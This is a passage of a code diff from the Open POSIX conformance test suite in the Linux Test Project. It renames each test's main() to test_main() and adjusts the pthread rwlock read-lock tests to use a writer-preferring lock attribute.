test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-1.c index 566b38e5..6fa051e0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-1.c @@ -21,7 +21,7 @@ #define INVALID_PROTOCOL -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-2.c index 8912503a..4b12a750 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setprotocol/3-2.c @@ -20,7 +20,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c index 8e8617bb..ee2ff5ad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-1.c @@ -37,7 +37,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-2.c index 9112208e..223fbffa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/1-2.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-1.c index 61447104..b05c8c31 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-2.c index edc43f87..e741605a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/2-2.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-1.c index 0db84c4f..bd069506 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-2.c index 27abbd00..35d97192 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_setpshared/3-2.c @@ -26,7 +26,7 @@ #define INVALID_PSHARED_VALUE -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c index 3393297a..f580f8cb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/1-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int type; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c index 96c2d474..4fcd0a71 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/2-1.c @@ -38,7 +38,7 @@ static void alarm_handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c index 3f857121..897be838 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-1.c @@ -28,7 +28,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c index cd2b669c..4712bdf5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-2.c @@ -43,7 +43,7 @@ static void *a_thread_func() pthread_exit(NULL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Initialize a mutex attributes object */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c index 31f9b9fb..1f1fe4f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-3.c @@ -28,7 +28,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c index cf17b848..7ee343ac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/3-4.c @@ -28,7 +28,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutex_t mutex; pthread_mutexattr_t mta; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c index 5404f8bb..2076f718 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_settype/7-1.c @@ -26,7 +26,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_mutexattr_t mta; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-1.c index 92a75793..f39b33ec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-1.c @@ -34,7 +34,7 @@ static void an_init_func(void) init_flag++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c index 572a242e..02b06f38 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-2.c @@ -84,7 +84,7 @@ static void my_init(void) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c index 9c55fe8c..8dc5d302 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/1-3.c @@ -113,7 +113,7 @@ static void *threaded(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c index 1b507f89..1d0a3293 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/2-1.c @@ -84,7 +84,7 @@ static void my_init(void) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/3-1.c index 6f8fa9e9..64be6c55 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/3-1.c @@ -34,7 +34,7 @@ static pthread_once_t once_control = PTHREAD_ONCE_INIT; /* The init function that pthread_once calls */ static void *an_init_func() { - /* Indicate to main() that the init function has been reached */ + /* Indicate to test_main() that the init function has been reached */ init_flag = 1; /* Stay in a continuous loop until the thread that called @@ -61,12 +61,12 @@ static void *a_thread_func() /* 2nd init function used by the 2nd call of pthread_once */ static void *an_init_func2() { - /* Indicate to main() that this init function has been reached */ + /* Indicate to test_main() that this init function has been reached */ init_flag = 1; return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; init_flag = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c index 018ad6b0..0bb4ba6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_once/6-1.c @@ -212,7 +212,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c index 9d7e575c..89afc0e1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/1-1.c @@ -20,7 +20,7 @@ #define COUNT 1000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlock_t rwlock; int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c index 3aef4451..9dbfd08b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_destroy/3-1.c @@ -20,7 +20,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_rwlock_t rwlock; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c index 6dca3ce1..97d31a38 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/1-1.c @@ -50,7 +50,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c index 31ed137d..4f956124 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/2-1.c @@ -50,7 +50,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c index 71ce2358..7cde9039 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/3-1.c @@ -26,7 +26,7 @@ static pthread_rwlock_t rwlock; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_rwlockattr_t rwlockattr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c index 165b09fd..c811842a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_init/6-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { static pthread_rwlock_t rwlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c index 724ecc39..b4900a5f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/1-1.c @@ -68,7 +68,7 @@ static void *fn_rd(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; pthread_t rd_thread1, rd_thread2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c index 288eb3e3..9240fd3e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-1.c @@ -6,12 +6,13 @@ * Test that pthread_rwlock_rdlock(pthread_rwlock_t *rwlock) * - * If the Thread Execution Scheduling option is supported, - * and the threads involved in the lock are executing with the - * scheduling policies SCHED_FIFO or SCHED_RR, the calling thread shall not - * acquire the lock if a writer holds the lock or if writers of - * higher or equal priority are blocked on the lock; - * otherwise, the calling thread shall acquire the lock. + * If the Thread Execution Scheduling option is supported, + * and the threads that hold or are blocked on the lock are + * executing with the scheduling policies SCHED_FIFO or SCHED_RR, + * the calling thread shall not acquire the lock if a writer + * holds the lock or if the calling thread does not already hold + * a read lock and writers of higher or equal priority are blocked + * on the lock; otherwise, the calling thread shall acquire the lock. * * In this case, we test "higher priority writer block" * @@ -133,7 +134,7 @@ static void *fn_wr(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_THREAD_PRIORITY_SCHEDULING printf("Posix Thread Execution Scheduling not supported\n"); @@ -143,32 +144,38 @@ int main(void) int cnt = 0; pthread_t rd_thread, wr_thread; int priority; + pthread_rwlockattr_t attr; + + pthread_rwlockattr_init(&attr); +#ifdef __GNUC__ + pthread_rwlockattr_setkind_np(&attr, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP); +#endif /* main thread needs to have the highest priority */ priority = sched_get_priority_min(TRD_POLICY) + 2; set_priority(pthread_self(), TRD_POLICY, priority); - printf("main: has priority: %d\n", priority); + printf("test_main: has priority: %d\n", priority); - if (pthread_rwlock_init(&rwlock, NULL) != 0) { - printf("main: Error at pthread_rwlock_init()\n"); + if (pthread_rwlock_init(&rwlock, &attr) != 0) { + printf("test_main: Error at pthread_rwlock_init()\n"); return PTS_UNRESOLVED; } - printf("main: attempt read lock\n"); + printf("test_main: attempt read lock\n"); /* This read lock should succeed */ if (pthread_rwlock_rdlock(&rwlock) != 0) { printf - ("Test FAILED: main cannot get read lock when no one owns the lock\n"); + ("Test FAILED: test_main cannot get read lock when no one owns the lock\n"); return PTS_FAIL; } else - printf("main: acquired read lock\n"); + printf("test_main: acquired read lock\n"); wr_thread_state = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY) + 1; - printf("main: create wr_thread, with priority: %d\n", priority); + printf("test_main: create wr_thread, with priority: %d\n", priority); if (pthread_create(&wr_thread, NULL, fn_wr, (void *)(long)priority) != 0) { - printf("main: Error at 1st pthread_create()\n"); + printf("test_main: Error at 1st pthread_create()\n"); return PTS_UNRESOLVED; } @@ -192,10 +199,10 @@ int main(void) rd_thread_state = 1; priority = sched_get_priority_min(TRD_POLICY); - printf("main: create rd_thread, with priority: %d\n", priority); + printf("test_main: create rd_thread, with priority: %d\n", priority); if (pthread_create(&rd_thread, NULL, fn_rd, (void *)(long)priority) != 0) { - printf("main: failed at creating rd_thread\n"); + printf("test_main: failed at creating rd_thread\n"); return PTS_UNRESOLVED; } @@ -214,9 +221,9 @@ int main(void) exit(PTS_UNRESOLVED); } - printf("main: unlock read lock\n"); + printf("test_main: unlock read lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: failed to unlock read lock\n"); + printf("test_main: failed to unlock read lock\n"); exit(PTS_UNRESOLVED); } @@ -236,7 +243,7 @@ int main(void) } if (pthread_join(wr_thread, NULL) != 0) { - printf("main: Error at 1st pthread_join()\n"); + printf("test_main: Error at 1st pthread_join()\n"); exit(PTS_UNRESOLVED); } /* we expect the reader get the lock when writer has unlocked the lock */ @@ -255,7 +262,7 @@ int main(void) } if (pthread_join(rd_thread, NULL) != 0) { - printf("main: Error at 2nd pthread_join()\n"); + printf("test_main: Error at 2nd pthread_join()\n"); exit(PTS_UNRESOLVED); } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c index 3593e4c7..21f94aa6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-2.c @@ -6,12 +6,13 @@ * Test that pthread_rwlock_rdlock(pthread_rwlock_t *rwlock) * - * If the Thread Execution Scheduling option is supported, - * and the threads involved in the lock are executing with the - * scheduling policies SCHED_FIFO or SCHED_RR, the calling thread shall not - * acquire the lock if a writer holds the lock or if writers of - * higher or equal priority are blocked on the lock; - * otherwise, the calling thread shall acquire the lock. + * If the Thread Execution Scheduling option is supported, + * and the threads that hold or are blocked on the lock are + * executing with the scheduling policies SCHED_FIFO or SCHED_RR, + * the calling thread shall not acquire the lock if a writer + * holds the lock or if the calling thread does not already hold + * a read lock and writers of higher or equal priority are blocked + * on the lock; otherwise, the calling thread shall acquire the lock. * * In this case, we test "equal priority writer block" * @@ -133,7 +134,7 @@ static void *fn_wr(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_THREAD_PRIORITY_SCHEDULING printf("Posix Thread Execution Scheduling not supported\n"); @@ -143,31 +144,37 @@ int main(void) int cnt = 0; pthread_t rd_thread, wr_thread; int priority; + pthread_rwlockattr_t attr; + + pthread_rwlockattr_init(&attr); +#ifdef __GNUC__ + pthread_rwlockattr_setkind_np(&attr, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP); +#endif /* main thread needs to have the highest priority */ priority = sched_get_priority_min(TRD_POLICY) + 2; set_priority(pthread_self(), TRD_POLICY, priority); - if (pthread_rwlock_init(&rwlock, NULL) != 0) { - printf("main: Error at pthread_rwlock_init()\n"); + if (pthread_rwlock_init(&rwlock, &attr) != 0) { + printf("test_main: Error at pthread_rwlock_init()\n"); return PTS_UNRESOLVED; } - printf("main: attempt read lock\n"); + printf("test_main: attempt read lock\n"); /* We have no lock, this read lock should succeed */ if (pthread_rwlock_rdlock(&rwlock) != 0) { printf - ("Test FAILED: main cannot get read lock when no one owns the lock\n"); + ("Test FAILED: test_main cannot get read lock when no one owns the lock\n"); return PTS_FAIL; } else - printf("main: acquired read lock\n"); + printf("test_main: acquired read lock\n"); wr_thread_state = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY) + 1; - printf("main: create wr_thread, with priority: %d\n", priority); + printf("test_main: create wr_thread, with priority: %d\n", priority); if (pthread_create(&wr_thread, NULL, fn_wr, (void *)(long)priority) != 0) { - printf("main: Error at 1st pthread_create()\n"); + printf("test_main: Error at 1st pthread_create()\n"); return PTS_UNRESOLVED; } @@ -191,10 +198,10 @@ int main(void) rd_thread_state = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY) + 1; - printf("main: create rd_thread, with priority: %d\n", priority); + printf("test_main: create rd_thread, with priority: %d\n", priority); if (pthread_create(&rd_thread, NULL, fn_rd, (void *)(long)priority) != 0) { - printf("main: failed at creating rd_thread\n"); + printf("test_main: failed at creating rd_thread\n"); return PTS_UNRESOLVED; } @@ -213,9 +220,9 @@ int main(void) exit(PTS_UNRESOLVED); } - printf("main: unlock read lock\n"); + printf("test_main: unlock read lock\n"); if (pthread_rwlock_unlock(&rwlock) != 0) { - printf("main: failed to release read lock\n"); + printf("test_main: failed to release read lock\n"); exit(PTS_UNRESOLVED); } @@ -235,7 +242,7 @@ int main(void) } if (pthread_join(wr_thread, NULL) != 0) { - printf("main: Error at 1st pthread_join()\n"); + printf("test_main: Error at 1st pthread_join()\n"); exit(PTS_UNRESOLVED); } /* we expect the reader get the lock when writer has release the lock */ @@ -254,7 +261,7 @@ int main(void) } if (pthread_join(rd_thread, NULL) != 0) { - printf("main: Error at 2nd pthread_join()\n"); + printf("test_main: Error at 2nd pthread_join()\n"); exit(PTS_UNRESOLVED); } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c index 40170dbb..e0a9857b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlock_rdlock/2-3.c @@ -6,17 +6,18 @@ * Test that pthread_rwlock_rdlock(pthread_rwlock_t *rwlock) * - * If the Thread Execution Scheduling option is supported, - * and the threads involved in the lock are executing with the - * scheduling policies SCHED_FIFO or SCHED_RR, the calling thread shall not - * acquire the lock if a writer holds the lock or if writers of - * higher or equal priority are blocked on the lock; - * otherwise, the calling thread shall acquire the lock. + * If the Thread Execution Scheduling option is supported, + * and the threads that hold or are blocked on the lock are + * executing with the scheduling policies SCHED_FIFO or SCHED_RR, + * the calling thread shall not acquire the lock if a writer + * holds the lock or if the calling thread does not already hold + * a read lock and writers of higher or equal priority are blocked + * on the lock; otherwise, the calling thread shall acquire the lock. * * In this case, reader has higher priority than the writer * Steps: - * We have three threads, main(also a reader), writer, reader + * We have three threads, test_main(also a reader), writer, reader * * 1. Main thread set its shcedule policy as "SCHED_FIFO", with highest priority * the three: sched_get_priority_min()+2. @@ -133,7 +134,7 @@ static void *fn_wr(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_THREAD_PRIORITY_SCHEDULING @@ -145,30 +146,30 @@ int main(void) pthread_t rd_thread, wr_thread; int priority; - /* main thread needs to have the highest priority */ + /* test_main thread needs to have the highest priority */ priority = sched_get_priority_min(TRD_POLICY) + 2; set_priority(pthread_self(), TRD_POLICY, priority); if (pthread_rwlock_init(&rwlock, NULL) != 0) { - printf("main: Error at pthread_rwlock_init()\n"); + printf("test_main: Error at pthread_rwlock_init()\n"); return PTS_UNRESOLVED; } - printf("main: attempt read lock\n"); + printf("test_main: attempt read lock\n"); /* We have no lock, this read lock should succeed */ if (pthread_rwlock_rdlock(&rwlock) != 0) { printf - ("Test FAILED: main cannot get read lock when no one owns the lock\n"); + ("Test FAILED: test_main cannot get read lock when no one owns the lock\n"); return PTS_FAIL; } else - printf("main: acquired read lock\n"); + printf("test_main: acquired read lock\n"); wr_thread_state = NOT_CREATED_THREAD; priority = sched_get_priority_min(TRD_POLICY); - printf("main: create wr_thread, with priority: %d\n", priority); + printf("test_main: create wr_thread, with priority: %d\n", priority); if (pthread_create(&wr_thread, NULL, fn_wr, (void *)(long)priority) != 0) { - printf("main: Error at 1st pthread_create()\n"); + printf("test_main: Error at 1st pthread_create()\n"); return PTS_UNRESOLVED; } @@ -192,10 +193,10 